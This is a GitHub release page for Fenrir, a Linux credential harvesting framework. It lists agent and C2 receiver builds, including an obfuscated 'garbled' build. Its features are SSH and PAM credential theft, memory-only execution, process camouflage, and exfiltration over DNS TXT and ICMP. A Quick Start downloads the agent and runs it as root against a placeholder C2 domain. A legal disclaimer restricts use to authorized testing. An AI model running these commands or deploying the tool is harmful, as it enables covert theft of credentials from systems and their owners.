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Fenrir v1.0.0

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@tahaafarooq tahaafarooq released this 13 Apr 15:47
· 4 commits to main since this release
v1.0.0
ea7cb7c

Fenrir, a credential harvesting framework.

Full Changelog: v1.0.0...v1.0.0

Downloads

Agent (fenrir):

  • fenrir-linux-amd64 - Standard Linux x86_64 build
  • fenrir-linux-amd64-garbled - Enhanced build

C2 Receiver (fenrir-channel):

  • fenrir-channel-linux-amd64 - Standard C2 receiver
  • fenrir-channel-linux-arm64 - ARM64 C2 receiver

Quick Start

# Download and run
wget https://github.com/tahaafarooq/fenrir/releases/download/v1.0.0/fenrir-linux-amd64                                                                                      
chmod +x fenrir-linux-amd64                                                                                                                                                 
sudo ./fenrir-linux-amd64 -volatile -key "your-secret-key" -dns c2.domain.com -icmp

Key Features

  • Supports memory-only execution.
  • Multi-vector harvesting: SSH, PAM, file monitoring
  • Exfiltration via DNS TXT and ICMP channels
  • Process camouflage, environment detection
  • Command & Control for receiving exfiltrated data

LEGAL DISCLAIMER

EDUCATIONAL AND RESEARCH USE ONLY
This software is provided for educational, research, and authorized security testing purposes only. By downloading, installing, or using this software, you acknowledge and agree to the following:

Prohibited Uses

  • Unauthorized access to systems you do not own or have explicit permission to test
  • Malicious activities including but not limited to unauthorized data theft or system compromise
  • Violation of applicable laws in your jurisdiction or the target system's jurisdiction
  • Use against production systems without proper authorization and safety measures

Authorized Uses

  • Penetration testing with written authorization from system owners
  • Red team exercises within organizational boundaries
  • Security research in controlled, isolated environments
  • Educational purposes in academic or training contexts

User Responsibilities

  • Obtain proper authorization before using this tool on any system
  • Comply with all applicable laws and regulations in your jurisdiction
  • Ensure ethical use and responsible disclosure of any vulnerabilities found
  • Implement appropriate safeguards to prevent unintended system damage

Limitation of Liability

  • NO WARRANTY: This software is provided "AS IS" without any warranties
  • NO LIABILITY: The author is not responsible for any damages, legal issues, or consequences arising from the use or misuse of this software
  • USER ASSUMES ALL RISK: You are solely responsible for your actions and their consequences
  • INDEMNIFICATION: You agree to indemnify and hold harmless the author from any claims or damages
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